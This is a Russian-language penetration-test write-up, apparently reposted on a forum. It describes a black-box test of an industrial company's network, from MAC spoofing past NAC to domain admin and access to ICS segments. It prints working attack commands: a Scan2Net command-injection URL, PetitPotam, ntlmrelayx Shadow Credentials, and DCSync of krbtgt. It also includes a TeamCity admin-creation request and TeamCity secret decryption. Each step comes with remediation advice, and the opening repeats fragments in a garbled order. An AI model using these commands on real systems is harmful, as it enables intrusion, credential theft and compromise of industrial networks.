stihl не предоставил(а) никакой дополнительной информации.
В этой статье я расскажу, как моя команда тестировала в формате «черного ящика» безопасность крупной промышленной компании. Мы стартовали без паролей и каких‑либо подсказок — нам просто выделили переговорку и оставили наедине с инфраструктурой. В ход пошли только наши инструменты и опыт. Служба безопасности при этом не противодействовала.
Это исследование получило третье место на Для просмотра ссылки Войдиили Зарегистрируйся в категории «Пробив инфраструктуры». Соревнование ежегодно проводится компанией Awillix.
Схема сетевого взаимодействия
Схема атаки
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся позволяет исполнять команды ОС.
Пример выполнения команды id
В файле /opt/s2n/www/cgi/infoio.cgi лежит пароль от архива с резервной копией настроек (Для просмотра ссылки Войдиили Зарегистрируйся). Чтобы получить пароль, используем вот такой эксплоит:
В архиве с резервной копией настроек нашелся файл template_smb.sql, содержащий имя доменного пользователя и зашифрованный пароль для подключения к серверу SMB. Изучая файлы приложения через RCE, находим сценарий /opt/s2n/www/cgi/s2nsmb.sh, который выполнялся при загрузке файлов на SMB-сервер. Для расшифровки пароля используем бинарник /opt/s2n/bin/hide.
Для просмотра ссылки Войдиили Зарегистрируйся
Через уязвимость исполнения кода получаем пароль пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся
или Зарегистрируйся на контроллер домена. В результате контроллер домена аутентифицируется на нашей машине по старому протоколу NetNTLMv1.
Как известно, NetNTLMv1 не подписывает пакеты — а значит, открыт для NTLM Relay. Проверяем: из нашего сегмента есть доступ к порту 389/TCP на втором контроллере домена, но порт 636/TCP закрыт. В итоге идем по пути Shadow Credentials, а не RBCD — учеток с SPN у нас пока нет, а через LDAP просто так новый компьютер в домен не добавишь.
Дальше в ход идет ntlmrelayx.py. Проводим атаку NTLM Relay на LDAP и применяем Shadow Credentials: пропишем в атрибут msDS-KeyCredentialLink учетки контроллера домена данные о нашем сертификате — идентификатор устройства, публичный ключ и прочее. С таким сертификатом можно спокойно проходить аутентификацию в домене.
С помощью полученного в процессе атаки сертификата проходим аутентификацию в домене по протоколу Для просмотра ссылки Войдиили Зарегистрируйся от имени контроллера домена и получаем его TGT-билет, а с помощью атаки UnPAC the hash — извлекаем NT-хеш пароля машинной учетной записи.
Вооружившись TGT-билетом контроллера домена, проводим DCSync и вытаскиваем NT-хеши учеток krbtgt и доменного админа.
У нас на руках права доменного админа, а значит, мы можем развернуть на контроллере домена SOCKS-прокси.
или Зарегистрируйся. Эксплоит к ней лежит в открытом доступе вместе с Для просмотра ссылки Войди или Зарегистрируйся.
Эксплуатируем эту уязвимость через прокси на контроллере домена и вытаскиваем токен для авторизованного доступа к API приложения. Достаточно отправить один запрос.
Для просмотра ссылки Войдиили Зарегистрируйся
Следом регистрируем в приложении новую учетку администратора с помощью такого запроса:
Созданная учетка позволяет зайти в TeamCity в режиме администратора, а это открывает серьезные возможности: запуск произвольного кода на сервере, просмотр и скачивание исходников, а также доступ к чувствительным данным вроде паролей и закрытых ключей.
Если злоумышленник скомпрометирует TeamCity, он получит возможность незаметно вносить изменения в исходный код приложений — например, внедрять вредоносные фрагменты, которые потом попадут на все серверы и рабочие станции, где будут установлены эти приложения.
Токены и пароль для закрытого ключа SSH зашифрованы, но в TeamCity используется один и тот же постоянный ключ для шифрования секретов. С помощью скрипта Для просмотра ссылки Войдиили Зарегистрируйся успешно расшифровываем секреты.
#decrypt
python2.7 teamcity-secret-decrypt.py <secret>
Также в конфиге проекта нашлись данные для подключения к SSH-серверу (порт, IP-адрес, имя пользователя), на который загружается проект.
или Зарегистрируйся.
или Зарегистрируйся (порт 9060/TCP). Этот API позволяет получить информацию о сетевых устройствах (настройки SNMP, IP-адреса и версии прошивок), конечных узлах и группах, а также списки внутренних пользователей Cisco ISE и массу другой полезной информации.
Пример запроса для получения списка сетевых устройств, имя которых содержит tst:
Изучая список групп конечных устройств (/ers/config/endpointgroup/), находим группы со строкой MAB в названиях и предполагаем, что для устройств в этих группах разрешен тип аутентификации MAC Authentication Bypass, то есть по MAC-адресу.
С помощью вот такого запроса получаем список групп конечных устройств, названия которых содержали строку MAB:
В списке находим группу MAB-PRIV-USERS. Получаем список устройств в этой группе следующим запросом (<id> — UID группы, полученный ранее):
В результате узнаём о пяти устройствах. В поле name указаны MAC-адреса. Подменяем MAC-адрес своего интерфейса тем, что принадлежит одному из узлов группы MAB-PRIV-USERS, подключаемся к Ethernet-розетке в переговорке и запрашиваем IP по DHCP. Срабатывает: мы получаем адрес и выходим в сегмент, который, похоже, используют админы. Этот сегмент оказывается куда богаче на потенциальные цели — здесь доступны узлы, которых мы раньше не видели, включая системы из сегментов АСУ ТП.
Это исследование получило третье место на Для просмотра ссылки Войди


Подключаемся к локальной сети
Когда мы подключились к сети и запросили адрес по DHCP, стало ясно — тут стоит NAC, а в эфире мелькают пакеты EAPOL. Похоже, просто так внутрь не пустят. Но неподалеку стоит принтер — а для таких устройств часто используют MAB-аутентификацию, то есть проверяют только MAC-адрес. Подменяем свой MAC принтерным — и получаем доступ в локалку. Да, доступ урезанный, но кое‑что все же работает: например, LDAP и SMB на контроллере домена, а еще админки принтеров.Получаем учетку доменного пользователя
Пароль по умолчанию в Scan2Net
Оказавшись в локалке, натыкаемся на веб‑интерфейс Scan2Net. У пользователя Poweruser там установлен пароль... Poweruser. Да‑да, заводской дефолт! С такими правами можно менять часть настроек и даже снимать бэкап конфигурации. Бэкап, правда, идет в архив под паролем.Для просмотра ссылки Войди
Рекомендации
- Изменить пароль пользователя Poweruser.
- Проверить, что на других устройствах не используются пароли пользователей по умолчанию.
Уязвимая версия Scan2Net
Вскоре мы выяснили, что используется старая версия Scan2Net с известным багом. Уязвимость Для просмотра ссылки Войди
В файле /opt/s2n/www/cgi/infoio.cgi лежит пароль от архива с резервной копией настроек (Для просмотра ссылки Войди
https://<IP-address>/class/msg_events.php?action=writemsgfifo&data=;grep%20%27Ba%27%20/opt/s2n/www/cgi/infoio.cgi
В архиве с резервной копией настроек нашелся файл template_smb.sql, содержащий имя доменного пользователя и зашифрованный пароль для подключения к серверу SMB. Изучая файлы приложения через RCE, находим сценарий /opt/s2n/www/cgi/s2nsmb.sh, который выполнялся при загрузке файлов на SMB-сервер. Для расшифровки пароля используем бинарник /opt/s2n/bin/hide.
Для просмотра ссылки Войди
Через уязвимость исполнения кода получаем пароль пользователя.
Для просмотра ссылки Войди
Рекомендации
- Обновить Scan2Net до версии 7.42 или выше.
- Ограничить сетевой доступ к веб‑панели администрирования устройства в случае, если пользователи не используют веб‑панель.
www
Для просмотра ссылки ВойдиПолучаем права администратора домена и используем NetNTLMv1
Получив учетку пользователя и доступ к локальной сети, проводим атаку Для просмотра ссылки Войди
Код:
# start responder
responder -i eth1 -A
# PetitPotam
python3 PetitPotam.py -u <username> -p <password> -d <domain> <attacker_IP> <dc_IP>
Как известно, NetNTLMv1 не подписывает пакеты — а значит, открыт для NTLM Relay. Проверяем: из нашего сегмента есть доступ к порту 389/TCP на втором контроллере домена, но порт 636/TCP закрыт. В итоге идем по пути Shadow Credentials, а не RBCD — учеток с SPN у нас пока нет, а через LDAP просто так новый компьютер в домен не добавишь.
Дальше в ход идет ntlmrelayx.py. Проводим атаку NTLM Relay на LDAP и применяем Shadow Credentials: пропишем в атрибут msDS-KeyCredentialLink учетки контроллера домена данные о нашем сертификате — идентификатор устройства, публичный ключ и прочее. С таким сертификатом можно спокойно проходить аутентификацию в домене.
ntlmrelayx.py -t ldap://<other_dc_IP> -smb2support --no-dump --no-da --no-acl --no-validate-privs --remove-mic --shadow-credentials
С помощью полученного в процессе атаки сертификата проходим аутентификацию в домене по протоколу Для просмотра ссылки Войди
Код:
python3 gettgtpkinit.py -cert-pfx <path_to_pfx> -pfx-pass <pfx_path> <domain>/<dc_name> <path_to_ccache>
export KRB5CCNAME=<path_to_ccache> python3 getnthash.py -key <key> <domain>/<dc_name>
Вооружившись TGT-билетом контроллера домена, проводим DCSync и вытаскиваем NT-хеши учеток krbtgt и доменного админа.
export KRB5CCNAME=<path_to_ccache> secretsdump.py -just-dc -just-dc-user <domain>\\krbtgt -k <dc_fqdn> -o krbtgt_hash
У нас на руках права доменного админа, а значит, мы можем развернуть на контроллере домена SOCKS-прокси.
Рекомендации
- Запретить использование аутентификации по протоколу NetNTLMv1 через групповые политики: Computer Configurations → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Network Security: LAN Manager authentication level).
- Для просмотра ссылки Войди
или Зарегистрируйся. - Отслеживать любые модификации атрибута msDS-KeyCredentialLink учетных записей компьютеров и пользователей в домене Active Directory.
Получаем полный доступ к сети и в сегмент АСУ ТП
Раскрытие данных об инфраструктуре
Прогнав скан через наш прокси на контроллере домена, натыкаемся на веб‑приложение Security Portal. Оно не требует логина и щедро выдает инфу о внутренней инфраструктуре: IP-адреса, порты и сервисы. Среди находок — Zabbix, Cisco ISE и TeamCity.Рекомендации
- Настроить обязательную аутентификацию при доступе к приложению.
- Ограничить сетевой доступ к веб‑приложению.
Использование уязвимой версии TeamCity
В веб‑приложении Portal нашлась ссылка на CI/CD-систему TeamCity. Версия — уязвимая, содержащая Для просмотра ссылки ВойдиЭксплуатируем эту уязвимость через прокси на контроллере домена и вытаскиваем токен для авторизованного доступа к API приложения. Достаточно отправить один запрос.
Для просмотра ссылки Войди
Следом регистрируем в приложении новую учетку администратора с помощью такого запроса:
Код:
POST /app/rest/users HTTP/1.1
Host: hostname:8111
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: /
Connection: keep-alive
Content-Type: application/json
Authorization: Bearer token
Content-Length: N
{"username": "new_username", "password": "new_password", "email": "new_username", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
Созданная учетка позволяет зайти в TeamCity в режиме администратора, а это открывает серьезные возможности: запуск произвольного кода на сервере, просмотр и скачивание исходников, а также доступ к чувствительным данным вроде паролей и закрытых ключей.
Если злоумышленник скомпрометирует TeamCity, он получит возможность незаметно вносить изменения в исходный код приложений — например, внедрять вредоносные фрагменты, которые потом попадут на все серверы и рабочие станции, где будут установлены эти приложения.
Рекомендации
- Обновить ПО до Для просмотра ссылки Войди
или Зарегистрируйся, наиболее безопасной версии либо, если это невозможно, до версии 2023.05.4, где уязвимость исправлена. - Если обновление невозможно, установить Для просмотра ссылки Войди
или Зарегистрируйся, предоставленный разработчиком и устраняющий уязвимость.
Учетные данные в проекте Security Portal
Получив привилегии администратора в TeamCity, экспортируем настройки проекта Security Portal. В полученных файлах — передаваемые переменные окружения (в том числе имена пользователей и пароли, адреса сервисов), закрытый ключ SSH и пароль для него, токены для нескольких веб‑приложений (например, в файлe ./_Root/project-cofig.xml).Токены и пароль для закрытого ключа SSH зашифрованы, но в TeamCity используется один и тот же постоянный ключ для шифрования секретов. С помощью скрипта Для просмотра ссылки Войди
Код:
# find secrets in project files
grep -r 'zxx' ./
#decrypt
python2.7 teamcity-secret-decrypt.py <secret>
Также в конфиге проекта нашлись данные для подключения к SSH-серверу (порт, IP-адрес, имя пользователя), на который загружается проект.
Рекомендации
Обеспечить хранение различных аутентификационных данных (ключей, токенов, паролей, сертификатов и тому подобного), используемых в проектах TeamCity, в специально предназначенных для этого хранилищах, например Для просмотра ссылки ВойдиНеограниченный сетевой доступ по MAB
В переменных окружения проекта Security Portal в TeamCity находим учетные данные, с которыми через наш прокси на контроллере домена заходим в Для просмотра ссылки ВойдиПример запроса для получения списка сетевых устройств, имя которых содержит tst:
Код:
GET /ers/config/networkdevice/?filter=name.CONTAINS.tst HTTP/1.1
Host: hostname:9060
Cookie: APPSESSIONID=cookie
Authorization: Basic_auth
Accept: application/json
Contenet-Type: application/json
Connection: keep-alive
Изучая список групп конечных устройств (/ers/config/endpointgroup/), находим группы со строкой MAB в названиях и предполагаем, что для устройств в этих группах разрешен тип аутентификации MAC Authentication Bypass, то есть по MAC-адресу.
С помощью вот такого запроса получаем список групп конечных устройств, названия которых содержали строку MAB:
Код:
GET /ers/config/endpointgroup/?filter=name.CONTAINS.MAB&size=100 HTTP/1.1
Host: hostname:9060
Cookie: APPSESSIONID=cookie
Authorization: Basic_auth
Accept: application/json
Contenet-Type: application/json
Connection: keep-alive
В списке находим группу MAB-PRIV-USERS. Получаем список устройств в этой группе следующим запросом (<id> — UID группы, полученный ранее):
Код:
GET /ers/config/endpoint/?filter=groupId.EQ.<id> HTTP/1.1
Host: hostname:9060
Cookie: APPSESSIONID=cookie
Authorization: Basic_auth
Accept: application/json
Contenet-Type: application/json
Connection: keep-alive
В результате узнаём о пяти устройствах. В поле name указаны MAC-адреса. Подменяем MAC-адрес своего интерфейса тем, что принадлежит одному из узлов группы MAB-PRIV-USERS, подключаемся к Ethernet-розетке в переговорке и запрашиваем IP по DHCP. Срабатывает: мы получаем адрес и выходим в сегмент, который, похоже, используют админы. Этот сегмент оказывается куда богаче на потенциальные цели — здесь доступны узлы, которых мы раньше не видели, включая системы из сегментов АСУ ТП.
Рекомендации
- Для устройств, которые поддерживают аутентификацию по сертификатам, использовать этот тип аутентификации.
- Для устройств, которые не поддерживают аутентификацию по сертификатам, ограничить сетевой доступ минимально необходимым.